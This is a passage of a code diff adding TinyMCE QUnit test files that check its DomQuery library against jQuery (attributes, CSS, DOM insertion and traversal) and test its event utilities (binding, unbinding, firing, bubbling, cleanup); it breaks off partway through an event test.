+			$elm = $([document.createTextNode('x')]).removeAttr('id');
+			equal(typeof $elm.attr('id'), 'undefined');
+		});
+
+		test(prefix + 'prop() set/get attr on element', function() {
+			var $elm;
+
+			$elm = $('<b/>').prop('id', 'x');
+			equal($elm.prop('id'), 'x');
+			equal(typeof $elm.prop('noprop'), 'undefined');
+
+			$elm = $('<b class="x"/>');
+			equal($elm.prop('class'), 'x');
+			equal($elm.prop('className'), 'x');
+
+			$elm = $('<label for="x"/>');
+			equal($elm.prop('for'), 'x');
+			equal($elm.prop('htmlFor'), 'x');
+		});
+
+		test(prefix + 'prop() set/get attrs on element', function() {
+			var $elm;
+
+			$elm = $('<b/>').prop({id: 'x', title: 'y'});
+			equal($elm.prop('id'), 'x');
+			equal($elm.prop('title'), 'y');
+		});
+
+		test(prefix + 'css() get/set single item on element', function() {
+			var $elm;
+
+			$elm = $('<b />').appendTo('#view').css('font-size', 42);
+			equal($elm.css('font-size'), '42px');
+
+			$elm = $('<b />').appendTo('#view').css('fontSize', 42);
+			equal($elm.css('fontSize'), '42px');
+		});
+
+		test(prefix + 'css() get/set items on element', function() {
+			var $elm;
+
+			$elm = $('<b>x</b>').appendTo('#view').css({'font-size': 42, 'text-indent': 42});
+			equal($elm.css('font-size'), '42px');
+			equal($elm.css('text-indent'), '42px');
+		});
+
+		test(prefix + 'css() set opacity', function() {
+			var styles = new tinymce.html.Styles();
+
+			if (tinymce.Env.ie && tinymce.Env.ie < 9) {
+				// jQuery has a slightly different output but basically the same
+				deepEqual(styles.parse($('<b></b>').css('opacity', 0.5).attr('style')), {filter: 'alpha(opacity=50)', 'zoom': '1'});
+				strictEqual(typeof $('<b></b>').css('opacity', null).attr('style'), 'undefined');
+			} else {
+				strictEqual(normalizeStyleValue($('<b></b>').css('opacity', 0.5).attr('style')), 'opacity: 0.5');
+				ok(!$('<b></b>').css('opacity', null).attr('style'));
+				ok(!$('<b></b>').css('opacity', '').attr('style'));
+			}
+		});
+
+		test(prefix + 'css() set float', function() {
+			strictEqual(normalizeStyleValue($('<b></b>').css('float', 'right').attr('style')), 'float: right');
+			ok(!$('<b style="float: left"></b>').css('float', '').attr('style'));
+			ok(!$('<b></b>').css('float', null).attr('style'));
+		});
+
+		test(prefix + 'remove() single element', function() {
+			var $elm;
+
+			$elm = $('<b>x</b>').appendTo('#view').remove();
+			strictEqual(normalizeParentNode($elm[0].parentNode), null);
+		});
+
+		test(prefix + 'remove() multiple elements', function() {
+			var $elm;
+
+			$elm = $('<b>x</b><em>x</em>').appendTo('#view').remove();
+			strictEqual(normalizeParentNode($elm[0].parentNode), null);
+			strictEqual(normalizeParentNode($elm[1].parentNode), null);
+		});
+
+		test(prefix + 'remove() unappended element', function() {
+			var $elm;
+
+			$elm = $('<b>x</b>').remove();
+			strictEqual(normalizeParentNode($elm[0].parentNode), null);
+		});
+
+		test(prefix + 'empty() single element', function() {
+			var $elm;
+
+			$elm = $('<b><i>x<i>y</b>').empty();
+			strictEqual($elm[0].firstChild, null);
+		});
+
+		test(prefix + 'html() set on single element', function() {
+			var $elm;
+
+			$elm = $('<b></b>').html('<i>x</i>');
+			strictEqual($elm[0].firstChild.tagName, 'I');
+		});
+
+		test(prefix + 'html() get on element/elements', function() {
+			strictEqual($('<b><i>x</i></b>').html().toLowerCase(), '<i>x</i>');
+			strictEqual($('<b><i>x</i></b><i>a</i>').html().toLowerCase(), '<i>x</i>');
+		});
+
+		/*
+		test(prefix + 'html() set comment as first child (IE)', function() {
+			$('#view').html('<!-- x -->y');
+			strictEqual($('#view').html(), '<!-- x -->y');
+		});
+		*/
+
+		test(prefix + 'html() set DIV as child of P (IE 8)', function() {
+			$('<p></p>').appendTo('#view');
+			$('#view p').html('<div>x</div>');
+			strictEqual($('#view').html().toLowerCase().replace(/[\r\n]/g, ''), '<p><div>x</div></p>');
+		});
+
+		test(prefix + 'text() set on single element', function() {
+			var $elm;
+
+			$elm = $('<b></b>').text('<i>x</i>');
+			strictEqual($elm[0].firstChild.data, '<i>x</i>');
+		});
+
+		test(prefix + 'text() get on element', function() {
+			strictEqual($('<b><i>x</i>y</b>').text().toLowerCase(), 'xy');
+		});
+
+		test(prefix + 'append() to element', function() {
+			var $elm;
+
+			$elm = $('<b>a</b>');
+			$elm.append($('<i>b</i>'));
+			strictEqual($elm.html().toLowerCase(), 'a<i>b</i>');
+
+			$elm = $('<b>a</b>');
+			$elm.append('<i>b</i>');
+			strictEqual($elm.html().toLowerCase(), 'a<i>b</i>');
+
+			$elm = $('<b>a</b>');
+			$elm.append('b');
+			strictEqual($elm.html().toLowerCase(), 'ab');
+
+			$elm = $('<b>a</b>');
+			$elm.append($('<i>b</i><b>c</b>'));
+			strictEqual($elm.html().toLowerCase(), 'a<i>b</i><b>c</b>');
+
+			$elm = $('<b></b>');
+			$elm.append($('<i>b</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>b</i>');
+		});
+
+		test(prefix + 'prepend() to element', function() {
+			var $elm;
+
+			$elm = $('<b>a</b>');
+			$elm.prepend($('<i>b</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>b</i>a');
+
+			$elm = $('<b>a</b>');
+			$elm.prepend($('<i>b</i><b>c</b>'));
+			strictEqual($elm.html().toLowerCase(), '<i>b</i><b>c</b>a');
+
+			$elm = $('<b></b>');
+			$elm.prepend($('<i>b</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>b</i>');
+		});
+
+		test(prefix + 'before() element', function() {
+			var $elm;
+
+			$elm = $('<b><i>a</i></b>');
+			$elm.children().before($('<i>b</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>b</i><i>a</i>');
+
+			$elm = $('<b><i>a</i></b>');
+			$elm.children().before($('<i>b</i><i>c</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>b</i><i>c</i><i>a</i>');
+		});
+
+		test(prefix + 'after() element', function() {
+			var $elm;
+
+			$elm = $('<b><i>a</i></b>');
+			$elm.children().after($('<i>b</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>a</i><i>b</i>');
+
+			$elm = $('<b><i>a</i></b>');
+			$elm.children().after($('<i>b</i><i>c</i>'));
+			strictEqual($elm.html().toLowerCase(), '<i>a</i><i>b</i><i>c</i>');
+		});
+
+		test(prefix + 'appendTo() to element', function() {
+			var $elm;
+
+			$elm = $('<b>a</b>');
+			$('<i>b</i>').appendTo($elm);
+			strictEqual($elm.html().toLowerCase(), 'a<i>b</i>');
+
+			$elm = $('<b>a</b>');
+			$('<i>b</i><b>c</b>').appendTo($elm);
+			strictEqual($elm.html().toLowerCase(), 'a<i>b</i><b>c</b>');
+
+			$elm = $('<b></b>');
+			$('<i>b</i>').appendTo($elm);
+			strictEqual($elm.html().toLowerCase(), '<i>b</i>');
+		});
+
+		test(prefix + 'prependTo() to element', function() {
+			var $elm;
+
+			$elm = $('<b>a</b>');
+			$('<i>b</i>').prependTo($elm);
+			strictEqual($elm.html().toLowerCase(), '<i>b</i>a');
+
+			$elm = $('<b>a</b>');
+			$('<i>b</i><b>c</b>').prependTo($elm);
+			strictEqual($elm.html().toLowerCase(), '<i>b</i><b>c</b>a');
+
+			$elm = $('<b></b>');
+			$('<i>b</i>').prependTo($elm);
+			strictEqual($elm.html().toLowerCase(), '<i>b</i>');
+		});
+
+		test(prefix + 'addClass() to element', function() {
+			var $elm;
+
+			$elm = $('<b></b>').addClass('a');
+			strictEqual($elm.attr('class'), 'a');
+
+			$elm = $('<b class="a"></b>').addClass('b');
+			strictEqual($elm.attr('class'), 'a b');
+		});
+
+		test(prefix + 'removeClass() from element', function() {
+			var $elm;
+
+			$elm = $('<b class="x"></b>').removeClass('a');
+			strictEqual($elm.attr('class'), 'x');
+
+			$elm = $('<b class="a b"></b>').removeClass('b');
+			strictEqual($elm.attr('class'), 'a');
+
+			$elm = $('<b class="a"></b>').removeClass('a');
+			strictEqual($elm.attr('class'), '');
+		});
+
+		test(prefix + 'toggleClass() on element', function() {
+			var $elm;
+
+			$elm = $('<b class="x"></b>').toggleClass('a');
+			strictEqual($elm.attr('class'), 'x a');
+
+			$elm = $('<b class="a b"></b>').toggleClass('b');
+			strictEqual($elm.attr('class'), 'a');
+
+			$elm = $('<b class="a"></b>').toggleClass('a', true);
+			strictEqual($elm.attr('class'), 'a');
+
+			$elm = $('<b class="a b"></b>').toggleClass('a', false);
+			strictEqual($elm.attr('class'), 'b');
+		});
+
+		test(prefix + 'toggleClass() on element', function() {
+			strictEqual($('<b class="a"></b>').hasClass('a'), true);
+			strictEqual($('<b class="a"></b>').hasClass('b'), false);
+			strictEqual($('<b class="a b"></b>').hasClass('b'), true);
+			strictEqual($('<b class="a b"></b>').hasClass('a'), true);
+		});
+
+		test(prefix + 'filter()', function() {
+			strictEqual($('<b></b><i></i><u></u>').filter('b,i').length, 2);
+			strictEqual($('<b></b><i></i><u></u>').filter(function(i, elm) {
+				return  elm.tagName != 'U';
+			}).length, 2);
+			strictEqual($('<b></b><i></i><u></u>').filter(function(i, elm) {
+				return i != 2;
+			}).length, 2);
+			strictEqual($([document, window, document.createTextNode('x')]).filter('*').length, 0);
+			strictEqual($.filter('*', [document, window, document.createTextNode('x')]).length, 0);
+		});
+
+		test(prefix + 'each() collection', function() {
+			var $html = $('<b>a</b><i>b</i>'), data;
+
+			data = '';
+			$html.each(function(index, elm) {
+				data += index + elm.innerHTML + this.innerHTML;
+			});
+			strictEqual(data, '0aa1bb');
+
+			data = '';
+			$html.each(function(index, elm) {
+				data += index + elm.innerHTML + this.innerHTML;
+
+				if (index === 0) {
+					return false;
+				}
+			});
+			strictEqual(data, '0aa');
+		});
+
+		test(prefix + 'on()/off()/trigger()', function() {
+			var lastArgs1, lastArgs2;
+
+			$elm = $('<b />')
+
+			// Single listener
+			$elm.on('click', function(e) {
+				lastArgs1 = e;
+			});
+			$elm.trigger('click');
+			strictEqual(lastArgs1.type, 'click');
+
+			// Single listener trigger object
+			$elm.off().on('click', function(e) {
+				lastArgs1 = e;
+			});
+			$elm.trigger({type: 'click', custom: 'x'});
+			strictEqual(lastArgs1.type, 'click');
+			strictEqual(lastArgs1.custom, 'x');
+
+			// Unbind listeners
+			lastArgs1 = null;
+			$elm.off('click');
+			$elm.trigger('click');
+			strictEqual(lastArgs1, null);
+
+			// Bind two listeners
+			$elm.on('click', function(e) {
+				lastArgs1 = e;
+			});
+			$elm.on('click', function(e) {
+				lastArgs2 = e;
+			});
+			$elm.trigger('click');
+			strictEqual(lastArgs1.type, 'click');
+			strictEqual(lastArgs2.type, 'click');
+
+			// Bind two listeners and stop propagation
+			lastArgs1 = lastArgs2 = null;
+			$elm.off('click');
+			$elm.on('click', function(e) {
+				lastArgs1 = e;
+				e.stopImmediatePropagation();
+			});
+			$elm.on('click', function(e) {
+				lastArgs2 = e;
+			});
+			$elm.trigger('click');
+			strictEqual(lastArgs1.type, 'click');
+			strictEqual(lastArgs2, null);
+		});
+
+		test(prefix + 'show()/hide() element', function() {
+			equal(normalizeStyleValue($('<b></b>').hide().attr('style')), 'display: none');
+			ok(!$('<b></b>').show().attr('style'));
+		});
+
+		test(prefix + 'slice/eq/first/last() on collection', function() {
+			var $html = $('<b>1</b><i>2</i><em>3</em>');
+
+			strictEqual($html.slice(1).length, 2);
+			strictEqual($html.slice(1)[0].tagName, 'I');
+			strictEqual($html.slice(1)[1].tagName, 'EM');
+
+			strictEqual($html.slice(1, 2).length, 1);
+			strictEqual($html.slice(1, 2)[0].tagName, 'I');
+
+			strictEqual($html.slice(-2, -1).length, 1);
+			strictEqual($html.slice(-2, -1)[0].tagName, 'I');
+
+			strictEqual($html.eq(1).length, 1);
+			strictEqual($html.eq(1)[0].tagName, 'I');
+
+			strictEqual($html.eq(-1).length, 1);
+			strictEqual($html.eq(-1)[0].tagName, 'EM');
+
+			strictEqual($html.eq(1).length, 1);
+			strictEqual($html.eq(1)[0].tagName, 'I');
+
+			strictEqual($html.first().length, 1);
+			strictEqual($html.first()[0].tagName, 'B');
+
+			strictEqual($html.last().length, 1);
+			strictEqual($html.last()[0].tagName, 'EM');
+		});
+
+		test(prefix + 'replaceWith() on single element with single element', function() {
+			var $result;
+
+			$('<b>1</b>').appendTo('#view');
+			$result = $('#view b').replaceWith('<i>2</i>');
+			strictEqual($('#view').html().toLowerCase(), '<i>2</i>');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'B');
+		});
+
+		test(prefix + 'replaceWith() on single element with multiple elements', function() {
+			var $result;
+
+			$('<b>1</b>').appendTo('#view');
+			$result = $('#view b').replaceWith('<i>2</i><i>3</i>');
+			strictEqual($('#view').html().toLowerCase(), '<i>2</i><i>3</i>');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'B');
+		});
+/*
+		test(prefix + 'replaceWith() on multiple elements with multiple elements', function() {
+			var $result;
+
+			$('<b>1</b><i>2</i>').appendTo('#view');
+			$result = $('#view b, #view i').replaceWith('<i>3</i><i>4</i>');
+			strictEqual($('#view').html().toLowerCase(), '<i>3</i><i>4</i>');
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'B');
+			strictEqual($result[1].tagName, 'I');
+		});
+*/
+		test(prefix + 'wrap() single element', function() {
+			$('<b>1</b>').appendTo('#view').wrap('<i>');
+			strictEqual($('#view').html().toLowerCase(), '<i><b>1</b></i>');
+		});
+
+		test(prefix + 'wrap() multiple element', function() {
+			$('<b>1</b><b>2</b>').appendTo('#view').wrap('<i>');
+			strictEqual($('#view').html().toLowerCase(), '<i><b>1</b></i><i><b>2</b></i>');
+		});
+
+		test(prefix + 'wrapAll() multiple element', function() {
+			$('<b>1</b><b>2</b>').appendTo('#view').wrapAll('<i>');
+			strictEqual($('#view').html().toLowerCase(), '<i><b>1</b><b>2</b></i>');
+		});
+
+		test(prefix + 'wrapInner() multiple element', function() {
+			$('<b>1<i>a</i></b><b>2<i>b</i></b>').appendTo('#view').wrapInner('<i>');
+			strictEqual($('#view').html().toLowerCase(), '<b><i>1<i>a</i></i></b><b><i>2<i>b</i></i></b>');
+		});
+
+		test(prefix + 'unwrap() single element with no siblings', function() {
+			$('#view').html('<b><i>1</i></b>');
+			$('#view i').unwrap();
+			strictEqual($('#view').html().toLowerCase(), '<i>1</i>');
+		});
+
+		test(prefix + 'unwrap() single element with siblings', function() {
+			$('#view').html('<b><i>1</i><i>2</i></b>');
+			$('#view i').unwrap();
+			strictEqual($('#view').html().toLowerCase(), '<i>1</i><i>2</i>');
+		});
+
+		test(prefix + 'clone() single element', function() {
+			$('<b>1</b>').appendTo('#view').clone().appendTo('#view');
+			strictEqual($('#view').html().toLowerCase(), '<b>1</b><b>1</b>');
+		});
+
+		test(prefix + 'find()', function() {
+			var $result;
+
+			$('#view').append('<em><i>1</i></em><strong><b>2</b></strong>');
+
+			$result = $('#view').find('*');
+			strictEqual($result.length, 4);
+
+			$result = $('#view em').find('*');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+
+			$result = $('#view em, #view strong').find('*');
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'I');
+			strictEqual($result[1].tagName, 'B');
+		});
+
+		test(prefix + 'parent()', function() {
+			var $result;
+
+			$('#view').append('<em><i>1</i></em><strong><b>2</b></strong>');
+
+			$result = $('#view i, #view b').parent();
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'EM');
+			strictEqual($result[1].tagName, 'STRONG');
+
+			$result = $('#view i, #view b').parent('em');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'EM');
+
+			$result = $('#view i, #view b').parent('div');
+			strictEqual($result.length, 0);
+		});
+
+		test(prefix + 'parents()', function() {
+			var $result, html;
+
+			html = $('<div><em><i>1</i></em><strong><b>2</b></strong></div>').appendTo('#view');
+
+			$result = splitAtView($('#view i, #view b').parents());
+			strictEqual($result.length, 3);
+			strictEqual($result[0].tagName, 'STRONG');
+			strictEqual($result[1].tagName, 'EM');
+			strictEqual($result[2].tagName, 'DIV');
+
+			$result = splitAtView($('#view i, #view b').parents('em'));
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'EM');
+
+			$result = splitAtView($('#view i, #view b').parents('p'));
+			strictEqual($result.length, 0);
+		});
+
+		test(prefix + 'parentsUntil(selector)', function() {
+			var $result, html;
+
+			html = $('<div><em><i>1</i></em><strong><b>2</b></strong></div>').appendTo('#view');
+
+			$result = $('#view i, #view b').parentsUntil('#view');
+			strictEqual($result.length, 3);
+			strictEqual($result[0].tagName, 'STRONG');
+			strictEqual($result[1].tagName, 'EM');
+			strictEqual($result[2].tagName, 'DIV');
+
+			$result = $('#view i, #view b').parentsUntil('#view', 'div');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'DIV');
+		});
+
+		test(prefix + 'parentsUntil(element)', function() {
+			var $result, html;
+
+			html = $('<div><em><i>1</i></em><strong><b>2</b></strong></div>').appendTo('#view');
+
+			$result = $('#view i, #view b').parentsUntil(document.getElementById('view'));
+			strictEqual($result.length, 3);
+			strictEqual($result[0].tagName, 'STRONG');
+			strictEqual($result[1].tagName, 'EM');
+			strictEqual($result[2].tagName, 'DIV');
+
+			$result = $('#view i, #view b').parentsUntil(document.getElementById('view'), 'div');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'DIV');
+		});
+
+		test(prefix + 'parentsUntil(query)', function() {
+			var $result, html;
+
+			html = $('<div><em><i>1</i></em><strong><b>2</b></strong></div>').appendTo('#view');
+
+			$result = $('#view i, #view b').parentsUntil($('#view'));
+			strictEqual($result.length, 3);
+			strictEqual($result[0].tagName, 'STRONG');
+			strictEqual($result[1].tagName, 'EM');
+			strictEqual($result[2].tagName, 'DIV');
+
+			$result = $('#view i, #view b').parentsUntil($('#view'), 'div');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'DIV');
+		});
+
+		test(prefix + 'next()', function() {
+			var $result, html;
+
+			html = $('<b>1</b>2<i>3</i>');
+
+			$result = html.next();
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'prev()', function() {
+			var $result, html;
+
+			html = $('<b>1</b>2<i>3</i>');
+
+			$result = $(html).prev();
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'B');
+		});
+
+		test(prefix + 'nextUntil(selector)', function() {
+			var $result, html;
+
+			html = $('<b>1</b><i>2</i><em>3</em><span>3</span>');
+
+			$result = html.first().nextUntil('span');
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'I');
+			strictEqual($result[1].tagName, 'EM');
+
+			$result = html.first().nextUntil('span', 'i');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'nextUntil(element)', function() {
+			var $result, html;
+
+			html = $('<b>1</b><i>2</i><em>3</em><span>3</span>');
+
+			$result = html.first().nextUntil(html.last()[0]);
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'I');
+			strictEqual($result[1].tagName, 'EM');
+
+			$result = html.first().nextUntil(html.last()[0], 'i');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'nextUntil(query)', function() {
+			var $result, html;
+
+			html = $('<b>1</b><i>2</i><em>3</em><span>3</span>');
+
+			$result = html.first().nextUntil(html.last());
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'I');
+			strictEqual($result[1].tagName, 'EM');
+
+			$result = html.first().nextUntil(html.last(), 'i');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'prevUntil(selector)', function() {
+			var $result, html;
+
+			html = $('<b>1</b><i>2</i><em>3</em><span>3</span>');
+
+			$result = html.last().prevUntil('b');
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'EM');
+			strictEqual($result[1].tagName, 'I');
+
+			$result = html.last().prevUntil('b', 'i');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'prevUntil(element)', function() {
+			var $result, html;
+
+			html = $('<b>1</b><i>2</i><em>3</em><span>3</span>');
+
+			$result = html.last().prevUntil(html.first()[0]);
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'EM');
+			strictEqual($result[1].tagName, 'I');
+
+			$result = html.last().prevUntil(html.first()[0], 'i');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'prevUntil(query)', function() {
+			var $result, html;
+
+			html = $('<b>1</b><i>2</i><em>3</em><span>3</span>');
+
+			$result = html.last().prevUntil(html.first());
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'EM');
+			strictEqual($result[1].tagName, 'I');
+
+			$result = html.last().prevUntil(html.first(), 'i');
+			strictEqual($result.length, 1);
+			strictEqual($result[0].tagName, 'I');
+		});
+
+		test(prefix + 'children()', function() {
+			var $result, html;
+
+			html = $('<b>1<i>2</i><b>3</b></b>');
+
+			$result = html.children();
+			strictEqual($result.length, 2);
+			strictEqual($result[0].tagName, 'I');
+			strictEqual($result[1].tagName, 'B');
+		});
+
+		test(prefix + 'contents()', function() {
+			var $result, html;
+
+			html = $('<b>1<i>2</i><b>3</b></b>');
+
+			$result = html.contents();
+			strictEqual($result.length, 3);
+			strictEqual($result[0].nodeName, '#text');
+			strictEqual($result[1].tagName, 'I');
+			strictEqual($result[2].tagName, 'B');
+		});
+
+		test(prefix + 'closest(selector/element/query)', function() {
+			var innerMost, html;
+
+			html = $('<b><i><em><b>x</b></em></i></b>');
+			innerMost = $(html[0].firstChild.firstChild.firstChild);
+
+			strictEqual(innerMost.closest(null).length, 0);
+			strictEqual(innerMost.closest('b').html(), 'x');
+			strictEqual(innerMost.closest(innerMost[0]).html(), 'x');
+			strictEqual(innerMost.closest('b i').html().toLowerCase(), '<em><b>x</b></em>');
+			strictEqual(innerMost.closest($(html[0].firstChild.firstChild)).html().toLowerCase(), '<b>x</b>');
+			strictEqual(innerMost.closest($(html[0].firstChild.firstChild)[0]).html().toLowerCase(), '<b>x</b>');
+		});
+
+		test(prefix + 'offset()', function() {
+			var testElm = $('<b></b>').offset({top: 10, left: 20});
+			strictEqual(testElm[0].style.top, '10px');
+			strictEqual(testElm[0].style.left, '20px');
+
+			var viewOffset = $('#view').offset();
+			var testElmOffset = $('<b></b>').css({position: 'absolute', top: 10, left: 20}).prependTo('#view').offset();
+
+			testElmOffset.left -= viewOffset.left;
+			testElmOffset.top -= viewOffset.top;
+
+			deepEqual(testElmOffset, {top: 10, left: 20});
+		});
+	}
+
+	// Run tests against jQuery/DomQuery so we know that we are compatible
+	addTests('DomQuery: ', tinymce.dom.DomQuery);
+	addTests('jQuery: ', jQuery);
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/EventUtils.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/EventUtils.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/EventUtils.js	(revision 33402)
@@ -0,0 +1,443 @@
+var eventUtils = tinymce.dom.Event;
+
+module("tinymce.dom.Event", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = (
+			'<div id="content" tabindex="0">' +
+			'<div id="inner" tabindex="0"></div>' +
+			'</div>'
+		);
+	},
+
+	teardown: function() {
+		eventUtils.clean(window);
+	}
+});
+
+test("unbind all", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click = true;
+	});
+
+	eventUtils.bind(window, 'keydown', function() {
+		result.keydown1 = true;
+	});
+
+	eventUtils.bind(window, 'keydown', function() {
+		result.keydown2 = true;
+	});
+
+	result = {};
+	eventUtils.fire(window, 'click');
+	eventUtils.fire(window, 'keydown');
+	deepEqual(result, {click: true, keydown1: true, keydown2: true});
+
+	eventUtils.unbind(window);
+	result = {};
+	eventUtils.fire(window, 'click');
+	eventUtils.fire(window, 'keydown');
+	deepEqual(result, {});
+});
+
+test("unbind event", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click = true;
+	});
+
+	eventUtils.bind(window, 'keydown', function() {
+		result.keydown1 = true;
+	});
+
+	eventUtils.bind(window, 'keydown', function() {
+		result.keydown2 = true;
+	});
+
+	result = {};
+	eventUtils.fire(window, 'click');
+	eventUtils.fire(window, 'keydown');
+	deepEqual(result, {click: true, keydown1: true, keydown2: true});
+
+	eventUtils.unbind(window, 'click');
+	result = {};
+	eventUtils.fire(window, 'click');
+	eventUtils.fire(window, 'keydown');
+	deepEqual(result, {keydown1: true, keydown2: true});
+});
+
+test("unbind event non existing", function() {
+	eventUtils.unbind(window, 'noevent');
+	ok(true, "No exception");
+});
+
+test("unbind callback", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click = true;
+	});
+
+	eventUtils.bind(window, 'keydown', function() {
+		result.keydown1 = true;
+	});
+
+	function callback2() {
+		result.keydown2 = true;
+	}
+
+	eventUtils.bind(window, 'keydown', callback2);
+
+	result = {};
+	eventUtils.fire(window, 'click');
+	eventUtils.fire(window, 'keydown');
+	deepEqual(result, {click: true, keydown1: true, keydown2: true});
+
+	eventUtils.unbind(window, 'keydown', callback2);
+	result = {};
+	eventUtils.fire(window, 'click');
+	eventUtils.fire(window, 'keydown');
+	deepEqual(result, {click: true, keydown1: true});
+});
+
+test("unbind multiple", function() {
+	var result;
+
+	eventUtils.bind(window, 'mouseup mousedown click', function(e) {
+		result[e.type] = true;
+	});
+
+	eventUtils.unbind(window, 'mouseup mousedown');
+
+	result = {};
+	eventUtils.fire(window, 'mouseup');
+	eventUtils.fire(window, 'mousedown');
+	eventUtils.fire(window, 'click');
+	deepEqual(result, {click: true});
+});
+
+test("bind multiple", function() {
+	var result;
+
+	eventUtils.bind(window, 'mouseup mousedown', function(e) {
+		result[e.type] = true;
+	});
+
+	result = {};
+	eventUtils.fire(window, 'mouseup');
+	eventUtils.fire(window, 'mousedown');
+	eventUtils.fire(window, 'click');
+	deepEqual(result, {mouseup: true, mousedown: true});
+});
+
+test("bind/fire bubbling", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.window = true;
+	});
+
+	eventUtils.bind(document, 'click', function() {
+		result.document = true;
+	});
+
+	eventUtils.bind(document.body, 'click', function() {
+		result.body = true;
+	});
+
+	eventUtils.bind(document.getElementById('content'), 'click', function() {
+		result.content = true;
+	});
+
+	eventUtils.bind(document.getElementById('inner'), 'click', function() {
+		result.inner = true;
+	});
+
+	result = {};
+	eventUtils.fire(window, 'click');
+	deepEqual(result, {window: true});
+
+	result = {};
+	eventUtils.fire(document, 'click');
+	deepEqual(result, {document: true, window: true});
+
+	result = {};
+	eventUtils.fire(document.body, 'click');
+	deepEqual(result, {body: true, document: true, window: true});
+
+	result = {};
+	eventUtils.fire(document.getElementById('content'), 'click');
+	deepEqual(result, {content: true, body: true, document: true, window: true});
+
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {inner: true, content: true, body: true, document: true, window: true});
+});
+
+test("bind/fire stopImmediatePropagation", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click1 = true;
+	});
+
+	eventUtils.bind(window, 'click', function(e) {
+		result.click2 = true;
+		e.stopImmediatePropagation();
+	});
+
+	eventUtils.bind(window, 'click', function() {
+		result.click3 = true;
+	});
+
+	result = {};
+	eventUtils.fire(window, 'click');
+	deepEqual(result, {click1: true, click2: true});
+});
+
+test("bind/fire stopPropagation", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click1 = true;
+	});
+
+	eventUtils.bind(document.body, 'click', function() {
+		result.click2 = true;
+	});
+
+	eventUtils.bind(document.getElementById('inner'), 'click', function(e) {
+		result.click3 = true;
+		e.stopPropagation();
+	});
+
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {click3: true});
+});
+
+test("clean window", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click1 = true;
+	});
+
+	eventUtils.bind(document.body, 'click', function() {
+		result.click2 = true;
+	});
+
+	eventUtils.bind(document.getElementById('content'), 'click', function() {
+		result.click3 = true;
+	});
+
+	eventUtils.bind(document.getElementById('inner'), 'click', function() {
+		result.click4 = true;
+	});
+
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {click1: true, click2: true, click3: true, click4: true});
+
+	eventUtils.clean(window);
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {});
+});
+
+test("clean document", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click1 = true;
+	});
+
+	eventUtils.bind(document, 'click', function() {
+		result.click2 = true;
+	});
+
+	eventUtils.bind(document.body, 'click', function() {
+		result.click3 = true;
+	});
+
+	eventUtils.bind(document.getElementById('content'), 'click', function() {
+		result.click4 = true;
+	});
+
+	eventUtils.bind(document.getElementById('inner'), 'click', function() {
+		result.click5 = true;
+	});
+
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {click1: true, click2: true, click3: true, click4: true, click5: true});
+
+	eventUtils.clean(document);
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {click1: true});
+});
+
+test("clean element", function() {
+	var result;
+
+	eventUtils.bind(window, 'click', function() {
+		result.click1 = true;
+	});
+
+	eventUtils.bind(document.body, 'click', function() {
+		result.click2 = true;
+	});
+
+	eventUtils.bind(document.getElementById('content'), 'click', function() {
+		result.click3 = true;
+	});
+
+	eventUtils.bind(document.getElementById('inner'), 'click', function() {
+		result.click4 = true;
+	});
+
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
